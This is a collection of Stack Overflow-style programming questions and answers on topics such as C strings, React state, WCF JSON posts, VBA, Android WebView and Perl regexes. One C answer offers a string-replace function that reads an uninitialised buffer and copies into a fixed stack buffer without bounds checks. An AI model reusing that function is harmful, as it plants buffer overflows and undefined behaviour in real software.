35031263	0	 <p>You can call the <a href="https://github.com/Microsoft/vso-agent-tasks/blob/master/docs/authoring/commands.md" rel="nofollow">task.servariable Logging Command</a>, which sets a variable in the variable service of taskcontext. The first task can set a variable, and following tasks are able to use the variable. The variable is exposed to the following tasks as an environment variable. Example: </p> <pre><code>##vso[task.setvariable variable=testvar;]testvalue </code></pre>
32503536	0	 <p>This will replace all occurrence of "str" with "rep" in "src"...</p> <pre><code>void strreplace(char *src, char *str, char *rep) { char *p = strstr(src, str); do { if(p) { char buf[1024]; memset(buf,'\0',strlen(buf)); if(src == p) { strcpy(buf,rep); strcat(buf,p+strlen(str)); } else { strncpy(buf,src,strlen(src) - strlen(p)); strcat(buf,rep); strcat(buf,p+strlen(str)); } memset(src,'\0',strlen(src)); strcpy(src,buf); } }while(p &amp;&amp; (p = strstr(src, str))); } </code></pre>
28614897	0	Regex Issue in Siebel application <p>I want to mask DL number when I get an email from auser. I want to use an existing reqular expression in my Siebel application. I have a regex from the existing application like this:</p> <pre><code>([\s.,:])(\d{7,9})([\s.,:]) </code></pre> <p>This expression is masking all the charcters in the DL number. But I want to display only the last 4 digits in the DL number.Could you please help me to complete the functionality?</p> <p>The above expression is masking 7, 8, and 9-digit numbers. I would like to display only the last 4 digits.</p>
17047519	0	 <p>Django relations model exposes (and documents) only <em>OneToOneField</em>, <em>ForeignKey</em> and <em>ManyToManyField</em>, which corresponds to the inner</p> <ul> <li><strong>OneToOneField</strong> -> <strong>OneToOneRel</strong></li> <li><strong>ForeignKey</strong> -> <strong>ManyToOneRel</strong></li> <li><strong>ManyToManyField</strong> -> <strong>ManyToManyRel</strong></li> </ul> <p>See source of <em>django.db.models.fields.related</em> for further details.</p>
40503235	0	 <p>To take a random (pseudorandom, to be accurate) number, you can use <code>Rnd</code> function. It gives you a value in range form 0 to 1. To get some particular number from range, you can <a href="https://www.techonthenet.com/excel/formulas/rnd.php" rel="nofollow noreferrer">use this solution</a>. So, to get a random number from your range of row 2 to last , you can do for example:</p> <pre><code>Dim LastRow As Long, rRow As Long LastRow = Range("A" &amp; Rows.Count).End(xlUp).Row ' Last row based on column A rRow = Int((LastRow - 2 + 1) * Rnd + 2) </code></pre> <p>Now you need to take this 15 times, and be sure that you wont get the same row multiple times. We can use array, and store row numbers inside. Unfortunately, VBA has no function to check if some particular value is inside. We to do it by looping through the values. </p> <pre><code>Dim LastRow As Long, rRow As Long Dim rowArr(14) As Long Dim found As Boolean LastRow = Range("A" &amp; Rows.Count).End(xlUp).Row For i = 0 To 14 rRow = Int((LastRow - 2 + 1) * Rnd + 2) found = False If i &gt; 0 Then For j = i - 1 To 0 Step -1 If rowArr(j) = rRow Then found = True Next j End If If found Then i = i - 1 Else rowArr(i) = rRow End If Next i </code></pre> <p>No we have to check, if sum of values in random rows are equal to 12, and if not, loop the whole process. The whole thing will look like:</p> <pre><code>Dim LastRow As Long, rRow As Long Dim rowArr(14) As Long Dim found As Boolean, mainCriterium As Boolean Dim sumOfValues As Double mainCriterium = False Do While mainCriterium = False LastRow = Range("A" &amp; Rows.Count).End(xlUp).Row For i = 0 To 14 rRow = Int((LastRow - 2 + 1) * Rnd + 2) found = False If i &gt; 0 Then For j = i - 1 To 0 Step -1 If rowArr(j) = rRow Then found = True Next j End If If found Then i = i - 1 Else rowArr(i) = rRow End If Next i For i = 0 To 14 sumOfValues = sumOfValues + Range("G" &amp; rowArr(i)).Value Next i If sumOfValues = 12 Then mainCriterium = True Loop </code></pre> <p>When loop will end, you gonna have array <code>rowArr</code> containing 15 rows, which sum of values in column G is equal to 12.</p>
22087308	0	Error in Insert a Products wth CSV in magento <p>I have a a csv files for insert a products in magento. but there are problem with inserting a products description. In description cell when the code started it stop the insertion of data. Please give me a solution to solve this problem.</p>
37001358	0	 <p>According to <a href="http://facebook.github.io/react/docs/component-api.html#setstate" rel="nofollow">React's setState doc</a>:</p> <blockquote> <p>Performs a shallow merge of nextState into current state</p> </blockquote> <p>This means you should provide a valid <code>nextState</code> object as argument to the method. <code>{info.merchandise.label: "New Label"}</code> is not syntactically correct, that's why you get an error.</p> <blockquote> <p>Treat this.state as if it were immutable.</p> </blockquote> <p>This simply means that if you want to change some property inside the state object, you should not mutate it directly, but replace it with a new object containing the modification instead.</p> <p>In your case, the state object contains several nested objects. If you want to modify a "leaf" object's property, you'll also have to provide new objects for every containing object up the tree (because each of them have a property that changes in the process). Using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign" rel="nofollow">Object.assign()</a> to create new objects, you could write:</p> <pre><code>// new "leaf" object: const newMerchandise = Object.assign({}, this.state.info.merchandise, {label: "New Label"}); // new "parent" object: const newInfo = Object.assign({}, this.state.info, {merchandise: newMerchandise}); // new state ("parent") object: const newState = Object.assign({}, this.state, {info: newInfo}); // eventually: this.setState(newState); </code></pre> <p>By the way, you'll notice that it's easier to handle the state object when its structure tends to be "flat" rather than "deeply nested".</p>
5683349	0	 <p>DSCS have a better story (generally) than centralized systems for offline or slow networks. They tend to be faster, which is really noticable for developers (using TDD) who do lots of check-ins.</p> <p>Centralized systems are somewhat easier to grasp initially and might be a better choice for less experienced developers. DVCSes allow you to create lots of mini-branches and isolate new features while still doing red-gree-refactor checkin on green style of coding. Again this is very powerful but only attractive to fairly savvy development teams.</p> <p>Having a single central repository for support for exclusive locks makes sense if you deal with files that are not mergable like digital assets and non-text documents (PDFs and Word etc) as it prevents you getting yourself into a mess and manually merging.</p> <p>I don't think the number of developers or codebase size plays into it that much, both systems have been show to support large source trees and numbers of committers. However for large code bases and projects DVCS gives a lot of flexibility in quickly creating decentralized remote branches. You can do this with centralized systems but you need to be more deliberate about it which is both good and bad.</p> <p>In short there are some technical aspects to consider but you should also think about the maturity of your team and their current process around SCCS.</p>
7719501	0	 DynamicJasper (DJ) is an open source free library that hides the complexity of Jasper Reports.
30467476	0	 <p>Not sure that got you right, but something similar I've done with:</p> <pre><code>pager.setClipToPadding(false); pager.setPadding(50, 0, 50, 0); </code></pre> <p><strong>UPD.</strong> </p> <p><a href="https://github.com/JakeWharton/ViewPagerIndicator" rel="nofollow">ViewPager indicator</a></p> <p>In order to scale not visible fragments, try to use <strong>setOnPageChangeListener</strong>, and scale <em>position - 1</em> and <em>position + 1</em> fragment's view. <a href="http://stackoverflow.com/questions/8785221/retrieve-a-fragment-from-a-viewpager">Here</a> how to take reference on fragment from ViewPager.</p>
4398809	0	POSTing JSON to WCF REST Endpoint <p>I'm working on implementing PUT, POST, and DELETE for my service. But every time I try to send some json up to the server, get the error 'Cannot create an abstract class.' I generated my request data by running an instance of my object through a <code>DataContractJsonSerializer</code>, adding the __type field, and wrapping it in {"obj": <em>mydata</em>}. </p> <p>I can run this back through a <code>DataContractJsonSerializer</code> that expects a BaseObj and it works fine:</p> <pre><code> {"__type":"RepositoryItem:http:\/\/objects\/","Insert_date":null,"Modified_date":null,"insert_by":null,"last_modify_user_id":null,"modified_by":null, "external_id":"1234","internal_id":54322,"school_id":45,"type_name":0, "vendor_id":57} </code></pre> <p>My service contract is decorated with a <code>ServiceKnownType</code> attribute with the <code>RepositoryItem</code> and <code>BaseObj</code> included in the list.</p> <p>I'm POSTing using jquery</p> <pre><code> $.ajax({ type: "POST", url: "http://localhost/slnSDK/service.svc/create/repositoryitem.json?t=" + token, data: data, success: function(result) { $("#input").html(result); }, error: function(xhr, result, err) { $("#htmloutput").html(xhr.responseText); }, dataType: "json", contentType: "application/json" }); </code></pre> <p>I have the following endpoint exposed:</p> <pre><code>&lt;OperationContract(Action:=Api2Information.Namespace &amp; "createJson")&gt; _ &lt;WebInvoke(Method:="POST", _ BodyStyle:=WebMessageBodyStyle.Bare, _ RequestFormat:=WebMessageFormat.Json, _ responseFormat:=WebMessageFormat.Json, _ UriTemplate:="/create/{objType}.json?t={token}")&gt; _ Function createJson(ByVal objType As String, ByVal obj As BaseObj, ByVal token As String) As Integer </code></pre> <p>And the following objects (IBaseObj was omitted as it can be inferred by its implementor)</p> <pre><code>&lt;DataContract(Namespace:="http://objects/")&gt; _ Public Class RepositoryItem : Inherits BaseObj ' members backing properties have been omitted. Public Sub New() ... &lt;DataMember()&gt; _ Public Property type_name() As eType ... ' Override this to expose it as a property on the WebAPI &lt;DataMember()&gt; _ Public Overrides Property internal_id() As Integer? ... &lt;DataMember()&gt; _ Public Property external_id() As String ... &lt;DataMember()&gt; _ Public Property vendor_id() As Integer ... End Class &lt;DataContract(Namespace:="http://objects/")&gt; _ &lt;Serializable()&gt; _ Public MustInherit Class BaseObj : Implements IBaseObj ' members backing properties have been omitted. &lt;DataMember()&gt; _ Public Overridable Property insert_by() As String Implements IBaseObj.Insert_by ... &lt;DataMember()&gt; _ Public Overridable Property Insert_date() As Nullable(Of Date) Implements IBaseObj.Insert_date ... &lt;DataMember()&gt; _ Public Overridable Property modified_by() As String Implements IBaseObj.Modified_by ... &lt;DataMember()&gt; _ Public Overridable Property Modified_date() As Nullable(Of Date) Implements IBaseObj.Modified_date ... &lt;DataMember()&gt; _ Public Overridable Property last_modify_user_id() As Nullable(Of Integer) Implements IBaseObj.Last_modify_user_id ... End Class </code></pre> <p>Fiddler output from POST:</p> <pre><code>POST http://localhost/slnSDK/service.svc/create/repositoryitem.json?t= HTTP/1.1 Host: localhost Connection: keep-alive Referer: http://localhost/apitest.html Content-Length: 265 Origin: http://localhost X-Requested-With: XMLHttpRequest Content-Type: application/json Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.79 Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=ywyooz45mi3c4d55h4ld4bec; x=lHOtsYBHvS/fKE7JQWzFTw==; y=XhfNVfYYQynJrIZ/odWFOg== {"obj":{"__type":"RepositoryItem:http:\/\/objects\/","Insert_date":null,"Modified_date":null,"insert_by":null,"last_modify_user_id":null,"modified_by":null, "external_id":"1234","internal_id":54322,"school_id":45,"type_name":0, "vendor_id":57}} </code></pre> <p>Any help you can provide would be great. Thanks!</p>
3325588	0	Mixed mode assembly not loading symbol for native C++ pdbs <p>I am working with mixed mode assemblies in C++/CLI. All managed mode assembled pdb's get loaded when successfully in mixed mode assembly, but native dll's and pdb's are not getting loaded even though the information of native pdb's is shown in the Modules pane (i.e. in VS Debug->Windows->Modules).</p> <p>I am using native dll and calling its exported function in mixed assembly in C++/CLI code. Here, functions get called successfully, but native pdb symbols are not loading and all breakpoints in the native code are shown as hollow circle and tool tips says there are no symbols loaded for this.</p> <p>I have done everything, pdb placed in current directory to where the managed process is launched; deleted all obj and debug folders and recompiled every project at the same time; I even used the ChkMatch utility which shows that the symbols in the Exe and corresponding pdb match.</p> <p>Is there any way to enable breakpoints of native code while calling from managed (C++/LCI Mixed mode) code?</p> <p>Regards,</p> <p>Usman</p>
13595126	0	Php, traffic catcher <p>I'm starting up an image hosting website which also offers pay per view, for example upload an image and it get 1000 views you get $2.00 something along those lines. The only issue I have is that I want to be able to view the traffic per image and what I.P address were used to view the image. </p> <p>So someone accesses my site they upload an image using a file form input field it then returns a link e.g - domain.com/image.png what could I add to my code so that some sort of tracking is added to each new image thats uploaded. </p> <p>I will be greatful for any ideas I get!</p> <p>THANKS </p>
33498036	0	 <p>Your compile SDK version must match the support library's major version.</p> <p>Since you are using version 23 of the support library, you need to compile against version 23 of the Android SDK.</p> <pre><code>android { compileSdkVersion 23 buildToolsVersion "23.0.1" } </code></pre>
32794254	0	App Crashes On Calling Webview Loadurl method inside switch <p>my app contains a fragment with a webview and a edit text.i have a navigation drawer with 3 choices and use a switch condition to handle selection,on 3 selections i update the same webview with different html files using the foolowing code ..but my app crashes..</p> <pre><code>@Override public void onNavigationDrawerItemSelected(int position) { // update the main content by replacing fragments Fragment fragment; switch (position) { case 0: WebView wv = (WebView) findViewById(R.id.webView); wv.loadUrl("file:///android_asset/src/web.html"); //app crashes fragment = getFragmentManager().findFragmentByTag(WebFragment.TAG); if (fragment == null) { fragment = new WebFragment(); } getFragmentManager().beginTransaction().replace(R.id.container, fragment, WebFragment.TAG).commit(); break; case 1: fragment = getFragmentManager().findFragmentByTag(WebFragment.TAG); if (fragment == null) { fragment = new WebFragment(); } getFragmentManager().beginTransaction().replace(R.id.container, fragment, WebFragment.TAG).commit(); break; case 2: fragment = getFragmentManager().findFragmentByTag(WebFragment.TAG); if (fragment == null) { fragment = new WebFragment(); } getFragmentManager().beginTransaction().replace(R.id.container, fragment, WebFragment.TAG).commit(); break; } } </code></pre> <p>my logcat logs <a href="http://pastebin.com/snbzASTq" rel="nofollow">http://pastebin.com/snbzASTq</a></p> <p>please provide a workaround for this</p>
16046353	0	 <p>Well I think that an answer for your question exists somewhere in <a href="http://technet.microsoft.com/en-us/library/cc754361%28v=ws.10%29.aspx" rel="nofollow">Microsoft documentation</a>.</p> <p>Active-Directory is a bit more more than a common LDAP Directory like OpenLDAP or Oracle Directory Server Enterprise Edition (formerly SUN Directory Server Enterprise Edition). It's a "<strong>System</strong> Directory". The main difference with a simple Directory is that it's built in with a Microsoft specific "Schema" and a security infrastructure with "Kerberos". So installing AD is the same as promoting a server in a "Domain controler". In other words you can use the AD for your own usage, but his first usage is for the "System" (Domain) security.</p> <p>ADLDS is the most recent name for an old product called ADAM (Active Directory Application Mode). As you can guess, this Directory can be created just for the usage of your own application, you can build the Schema you want, you can install it on a Worksation or a server, it exists version that you can redistribute with your own application.</p>
12862550	0	 <p>HA got it. This was strange. Maybe it was a fluke and it just kicked in, but this worked for me:</p> <p>Turns out the test account and the publisher account were tied to the same credit card on checkout. Changing it on the test account fixed it up. Grrrrr.</p>
33814392	0	 <p>Following the tip by @Tomasz Kowalczyk using the example xaml <a href="https://forums.xamarin.com/discussion/34798/how-to-add-global-background-color-style" rel="nofollow">from this rather incomplete post</a>:</p> <p>In app.xaml ResourceDictionary put this style:</p> <pre><code>&lt;Style x:Key="defaultPageStyle" TargetType="ContentPage"&gt; &lt;Setter Property="BackgroundColor" Value="#f8f8f8"/&gt; &lt;/Style&gt; </code></pre> <p>The base class is called <code>BaseContentPage</code></p> <pre><code>public class BaseContentPage : ContentPage { public BaseContentPage() { var style = (Style)Application.Current.Resources["defaultPageStyle"]; Style = style; } } </code></pre> <p>Then to tie it all together in each xaml.cs class:</p> <pre><code>namespace MyNamespace { public partial class MyXamlPage: BaseContentPage </code></pre> <p>And .xaml file</p> <pre><code>&lt;local:BaseContentPage xmlns="http://xamarin.com/schemas/2014/forms" xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml" xmlns:local="clr-namespace:MyNamespace;assembly=MyNamespace" x:Class="MyNamespace.MyXamlPage" </code></pre>
19860475	0	 <p>you can add comma from second emailid onwards. </p> <pre><code>for (int i = 0; i &lt; dataGridView1.Rows.Count; i++) { if(i&gt;0) sendto.text +=","+ dataGridView1.Rows[i].Cells[3].Value.ToString()); else sendto.text = dataGridView1.Rows[i].Cells[3].Value.ToString()); } </code></pre>
2762317	0	 <p>The problem was that I was using &lt;%= %> (or even &lt;%: %>) within a tag that had runat="sever". </p>
2018786	0	 <p>In C, the <code>sizeof</code> operator does not evaluate its argument. This allows one to write code that looks wrong but is correct. For example, an idiomatic way to call <code>malloc()</code>, given a type <code>T</code> is:</p> <pre><code>#include &lt;stdlib.h&gt; T *data = NULL; data = malloc(sizeof *data); </code></pre> <p>Here, <code>*data</code> is not evaluated when in the <code>sizeof</code> operator (<code>data</code> is <code>NULL</code>, so if it were evaluated, Bad Things would happen!).</p> <p>This allows one to write surprising code, to newcomers anyway. Note that no one in their right minds would actually do this:</p> <pre><code>#include &lt;stdio.h&gt; int main() { int x = 1; size_t sz = sizeof(x++); printf("%d\n", x); return 0; } </code></pre> <p>This prints <code>1</code>, not <code>2</code>, because <code>x</code> never gets incremented.</p> <p>For some <em>real</em> fun/confusion with <code>sizeof</code>:</p> <pre><code>#include &lt;stdio.h&gt; int main(void) { char a[] = "Hello"; size_t s1 = sizeof a; size_t s2 = sizeof ("Hi", a); printf("%zu %zu\n", s1, s2); return 0; } </code></pre> <p>(The confusion is only if one is confused about arrays, pointers, and operators.)</p>
25506723	0	 <p>You have <a href="http://en.wikipedia.org/wiki/Object_slicing" rel="nofollow">slicing</a>:</p> <p>You should use <code>std::stack&lt;Z*&gt;</code> or <code>std::stack&lt;std::unique_ptr&lt;Z&gt;&gt;</code>.</p>
26178773	0	cocos2d-x Simulate click by coordinates <p>Using: cocos2d-x 2.1.1 I have game based on cocos2d-x, I should implement same code to this game which can tap on elements. Now I can receive and send to server all elements from scene coordinates etc...</p> <p>Now I need to click on game scene using coordinates.</p> <p>I tried with create <code>CCLayer</code> over game scene and call <code>ccTouchesBegan</code> function with coordinates, but elements which placed under this <code>CCLayer</code> never receive touch event.</p> <p>Is it possible to simulate click by coordinates without change game source?</p> <p>A lot of thanks</p>
33109530	0	 <p>In order to make an ajax request when the session is invalidated you can implement a custom authenticator and override the <code>invalidate</code> method: <a href="http://ember-simple-auth.com/ember-simple-auth-api-docs.html#SimpleAuth-Authenticators-Base-invalidate" rel="nofollow">http://ember-simple-auth.com/ember-simple-auth-api-docs.html#SimpleAuth-Authenticators-Base-invalidate</a></p>
39679706	0	 <p>Well I believe the <a href="https://github.com/strongloop/loopback/blob/v2.34.1/common/models/user.json#L37-L96" rel="nofollow">default user acls</a> are still working and they are not overrided. The way loopback decides which ACL entry is effective for the request, is by selecting most specific one that appears later. So loopback has defined this entry:</p> <pre><code>{ "principalType": "ROLE", "principalId": "$everyone", "permission": "ALLOW", "property": "login" } </code></pre> <p>Since it's as specific as it gets, to beat that you have to add this in your model:</p> <pre><code>{ "principalType": "ROLE", "principalId": "$everyone", "permission": "DENY", "property": "login" } </code></pre> <p>There's also another way to remove the default user acls via code but it's not documented.</p>
37312209	0	 <p>OK, so I had tried all of your guys suggestions which I had were part of the issue, the final issue turned out to that I needed to add my images to the drawable-xhdpi. Thanks for all your help.</p>
4054833	0	 <p>Create an imaginary grid at whatever resolution is suitable for your problem: As coarse grained as possible for good performance but fine-grained enough to find (desirable) gaps between obstacles. Your grid might relate to a quadtree with your obstacle objects as well.</p> <p>Execute A* over the grid. The grid may even be pre-populated with useful information like proximity to static obstacles. Once you have a path along the grid squares, post-process that path into a sequence of waypoints wherever there's an inflection in the path. Then travel along the lines between the waypoints.</p> <p>By the way, you do not need the actual distance (c.f. your mention of Pythagorean theorem): A* works fine with an <em>estimate</em> of the distance. Manhattan distance is a popular choice: <code>|dx| + |dy|</code>. If your grid game allows diagonal movement (or the grid is "fake"), simply <code>max(|dx|, |dy|)</code> is probably sufficient.</p>
16051265	0	 <p>Not quite one line, but will work</p> <pre class="lang-none prettyprint-override"><code>$ cat votes.txt Colorado Obama 50 Colorado Romney 20 Colorado Gingrich 30 Florida Obama 60 Florida Romney 20 Florida Gingrich 30 </code></pre> <p>script</p> <pre><code>while read loc can num do if ! [ ${!can} ] then cans+=($can) fi (( $can += num )) done &lt; votes.txt for can in ${cans[*]} do echo $can ${!can} done </code></pre> <p>output</p> <pre class="lang-none prettyprint-override"><code>Obama 110 Romney 40 Gingrich 60 </code></pre>
3113490	0	 <p>First solution (seen in CSS-tricks website): use relative positioning like</p> <pre><code>.ratingstar:hover img, .ratingstar:focus img { position: relative; bottom: 3px; } </code></pre> <p>Second solution: play with padding-bottom going from 3 to 0px when margin-bottom goes from 0 to 3px, if your design permits it.<br> edit: It could also be border-top or bottom (same color as your background, if it isn't a gradient or image but a unique color)</p>
11131034	0	 <p>You can set option async of ajax to false to wait for the reply from server. Therefore, the code may be like the below.</p> <pre><code>function checkAnswer(question, answer){ result = false; jQuery.ajax({ async: false, url: window.base_url+'ajax/check_answer/'+question+'/'+answer+'/', success: function(data){ result = data.success if (!data.success){ jQuery('.question',base).html(data.message); } } }); return result; } </code></pre>
17306361	0	 <p>The CPAN module <a href="https://metacpan.org/module/GSULLIVAN/YAPE-Regex-Explain-4.01/Explain.pm">YAPE::Regex::Explain</a> can be used to parse and explain Perl regexes that you don't understand. Here is the output for your first regex:</p> <pre><code>(?-imsx:^(\d+)_[^,]+,"",(.+)"NR"(.+)"0","","") matches as follows: NODE EXPLANATION ---------------------------------------------------------------------- (?-imsx: group, but do not capture (case-sensitive) (with ^ and $ matching normally) (with . not matching \n) (matching whitespace and # normally): ---------------------------------------------------------------------- ^ the beginning of the string ---------------------------------------------------------------------- ( group and capture to \1: ---------------------------------------------------------------------- \d+ digits (0-9) (1 or more times (matching the most amount possible)) ---------------------------------------------------------------------- ) end of \1 ---------------------------------------------------------------------- _ '_' ---------------------------------------------------------------------- [^,]+ any character except: ',' (1 or more times (matching the most amount possible)) ---------------------------------------------------------------------- ,"", ',"",' ---------------------------------------------------------------------- ( group and capture to \2: ---------------------------------------------------------------------- .+ any character except \n (1 or more times (matching the most amount possible)) ---------------------------------------------------------------------- ) end of \2 ---------------------------------------------------------------------- "NR" '"NR"' ---------------------------------------------------------------------- ( group and capture to \3: ---------------------------------------------------------------------- .+ any character except \n (1 or more times (matching the most amount possible)) ---------------------------------------------------------------------- ) end of \3 ---------------------------------------------------------------------- "0","","" '"0","",""' ---------------------------------------------------------------------- ) end of grouping ---------------------------------------------------------------------- </code></pre> <p>You can use the module to parse your second regex as well (I won't dump it here since the explanation will be very long and very redundant.) But if you want to give it a shot, try this:</p> <pre><code>use strict; use warnings; use YAPE::Regex::Explain; my $re = qr/^[^_]+_[^,]+,"([\d\/]+)","[^"]+","[^"]+","[^"]+","[^"]+","[^"]+", "[^"]+","[^"]+","[^"]+","[^"]+","[^"]+","[^"]+","[^"]+",.+/x; print YAPE::Regex::Explain-&gt;new( $re )-&gt;explain; </code></pre>
32394726	0	AssertionError when unit testing an annotation processor with compile-testing <p>Google's <a href="https://github.com/google/compile-testing" rel="nofollow">compile-testing</a> is a great tool when it comes to unit testing annotation processors. Unfortunately I'm currently facing the following error:</p> <pre><code>java.lang.AssertionError: An expected source declared one or more top-level types that were not present. Expected top-level types: &lt;[test.LocalStorage]&gt; Declared by expected file: &lt;LocalStorageImpl.java&gt; The top-level types that were present are as follows: - [test.LocalStorageImpl] in &lt;/SOURCE_OUTPUT/test/LocalStorageImpl.java&gt; </code></pre> <p>My processor generates the implementation of an annotated interface. So the generated code has a dependency to the interface (<code>class LocalStorageImpl implements LocalStorage</code>).</p> <p>When I try to verify the generated code with</p> <pre><code> JavaFileObject source = /* interface definition */ JavaFileObject expected_source = /* the generated implementation */ assertAbout(javaSource()).that(source) .processedWith(new MyProcessor()) .compilesWithoutError() .and() .generatesSources(expectedSource); </code></pre> <p>...the <code>generatesSource</code> causes the error. As the error message states, it cannot resolve the interface definition.</p> <p><strong>So my question is how to compile or write the source file of the interface defined in <code>source</code>, so that it is recognized by <code>generatesSources()</code>?</strong></p>
25282869	0	 <p>First check all outlet connection are correct or not.</p> <p>Now change if condition to <code>isFirstResponder()</code></p> <pre><code>func textFieldShouldReturn(textField: UITextField!) -&gt; Bool { if (userNameSignUpTextField.isFirstResponder()){ userNameSignUpTextField.resignFirstResponder() passwordSignUpTextField.becomeFirstResponder() } else if(passwordSignUpTextField.isFirstResponder()) { passwordSignUpTextField.resignFirstResponder() emailSignUpTextField.becomeFirstResponder() } return true } </code></pre> <p>Hope it will help you</p>
13161438	0	Problems signing in with Facebook on some phones <p>I have gotten reports from some people that they cannot log into my app with Facebook. Most of the reports come from users with Samsung phones. I have asked them to reinstall both my app and the Facebook app, and try with and without the Facebook app installed but that does not seem to help. My app is using Single-Sign-On.</p> <p>I have tested with multiple Samsung phones and I have never been able to reproduce this problem. Does anyone know how this could be solved?</p>
26842480	0	 <p>You can use this awk using <strong>same regex as provided by OP</strong>:</p> <pre><code>awk -v re='[tsh]*est' '{ i=0; s=$0; while (p=match(s, re)) { p+=RLENGTH; i+=p-1; s=substr(s, p) } print i; }' file 14 15 35 </code></pre>
17164060	0	 <p>Second is misleading. Someone who uses your class would expect to get something after executing this method. You should avoid writing such methods if they do not intend to return meaningful values under any circumstances.</p> <p>Even if you overidding class which returns something meaningful you should consider using <a href="http://sourcemaking.com/design_patterns/null_object" rel="nofollow">NullObject</a> design pattern so that you do not broke existing APIs and follow <a href="http://en.wikipedia.org/wiki/Liskov_substitution_principle" rel="nofollow">LSP</a>. Returning null creates redundancies with extra null checking logic and is counterintuitive.</p>
7562388	0	 <p>I recommend that you store your data in MySQL in UTF-8 form, rather than try to convince it to take Windows-native UTF-16. If your text is mostly Western, UTF-8 encoding will be more compact, and it will be more likely to work with the C-and-Unix nature of MySQL.</p> <p>There are Visual C++ specific examples in <a href="http://tangentsoft.net/mysql++/" rel="nofollow">MySQL++</a> that show how to do this. See <code>CExampleDlg::ToUTF8()</code> and the functions that call it in <code>examples/vstudio/mfc/mfc_dlg.cpp</code>, for example.</p> <p>There's <a href="http://tangentsoft.net/mysql++/doc/html/userman/unicode.html" rel="nofollow">a chapter</a> in <a href="http://tangentsoft.net/mysql++/doc/html/userman/" rel="nofollow">the MySQL++ user manual</a> that gives the whys and wherefores behind all this.</p>
20880758	0	 <p>When you are worried about the backward compatibility, from advance to the older iOS, the best way is to learn about the difference. Try to understand what have come far from iOS 6 &amp; whats new in iOS7. Please refer this optimizing guide <a href="https://developer.apple.com/library/ios/documentation/userexperience/conceptual/transitionguide/SupportingEarlieriOS.html" rel="nofollow">here</a></p> <p>Also the more precise guide to what you are looking found is well defined here in <a href="https://developer.apple.com/library/ios/documentation/userexperience/conceptual/transitionguide/AppearanceCustomization.html" rel="nofollow">Apple Docs</a> and <a href="https://developer.apple.com/library/ios/documentation/userexperience/conceptual/transitionguide/TransitionGuide.pdf" rel="nofollow">here</a>.</p> <p>I am sure once you are setup with all "the stuff" that defines the differences (ios7 &amp; ios6 transition), you will overcome the problems.</p>
16004799	0	 <p>Since you're using WordPress, the propper way of doing this is to send a JavaScript variable with <code>wp_localize_script</code> in <code>functions.php</code>:</p> <pre><code>add_action('wp_enqueue_scripts', 'my_frontend_data'); function my_frontend_data() { global $current_user; wp_localize_script('data', 'Data', array( 'userMeta' =&gt; get_user_meta($current_user-&gt;ID, '_fbpost_status', true), 'templateUrl' =&gt; get_template_directory_uri() )); } </code></pre> <p>The above will add a JavaScript <code>Data</code> variable that's accessible in all your pages. Then you can use it in the front-end like so:</p> <pre><code>var ajaxUrl = Data.templateUrl +'/includes/ajaxswitch/'; $('#1').iphoneSwitch(Data.userMeta, function() { $('#ajax').load(ajaxUrl +'on.php'); }, function() { $('#ajax').load(ajaxUrl +'off.php'); }, { switch_on_container_path: Data.templateUrl +'iphone_switch_container_off.png'; }); </code></pre>
25415788	0	static and volatile qualifiers after type <p>Bjarne explains why const can go either before or after a type.</p> <p><a href="http://www.stroustrup.com/bs_faq2.html#constplacement" rel="nofollow">http://www.stroustrup.com/bs_faq2.html#constplacement</a></p> <blockquote> <pre><code>"const T" and "T const" were - and are - (both) allowed and equivalent. [...] </code></pre> <p>Why? When I invented "const" (initially named "readonly" and had a corresponding "writeonly"), I allowed it to go before or after the type because I could do so without ambiguity.</p> </blockquote> <p>My immediate thought was, "Ok, that makes sense, but if that's the reason then why is const special?" Apparently it isn't. Both clang and gcc emit no warnings for the following.</p> <pre><code>int volatile myint; int static myotherint; </code></pre> <p>It makes sense that this would be valid but I've never seen this syntax used or even mentioned as a possibility. Is placing static and volatile qualifiers after a type valid C++?</p> <p><em>How would one determine this from the text of the Standard?</em></p>
4572114	0	 <p>That seems like it would be incredibly hard to maintain. I myself love jQuery plugins and always like to push code into a plugin when necessary.</p> <p>This is definitely not the way I develop websites and jQuery, please don't be put off!</p>
32802460	0	Error on `it-1` with set iterator <p>In following code I can not recognize difference between <code>--it</code>, and <code>it-1</code>. Also is <code>words.end()</code> value is out of set range?</p> <pre><code>#include &lt;iostream&gt; #include&lt;set&gt; using namespace std; int main() { set&lt;string&gt; words; words.insert("test"); words.insert("crack"); words.insert("zluffy"); set&lt;string&gt;::iterator it=words.end(); cout&lt;&lt;*(--it)&lt;&lt;endl;//just works fine cout&lt;&lt;*(it-1)&lt;&lt;endl;//Error return 0; } </code></pre>
4721263	0	 <p>use <a href="http://api.jquery.com/jQuery.inArray/" rel="nofollow"><code>$.inArray()</code></a></p>
6620991	0	 <p><strong>break</strong> is used when you want to exit from loop, while <strong>return</strong> is used to go back to the step where it was called or to stop further execution.</p>
11672983	0	 <ol> <li>DownloadFile is just a wrapper around a raw WebRequest; it just processes the result and packages it as a "file" or a byte array.</li> <li><p>It works; but the data that is sent to the local file is still compressed, you'll have to decompress it manually.</p></li> <li><p>You get a default UserAgent. There isn't any particular UserAgent values necessary, unless the site your accessing requires one. But, you'll have to find that out. (Jeff's post suggest Google requires one; but I don't know if that still true)</p></li> </ol>
36723666	0	 <p>let's suppose, that your cell is E6:</p> <pre><code>=MID(E6;FIND("LR";E6)+3;(FIND("DT";E6))-((FIND("LR";E6))+3)) </code></pre> <p>Find what those funcions mean and you will understand. Next time you will do it alone.</p>
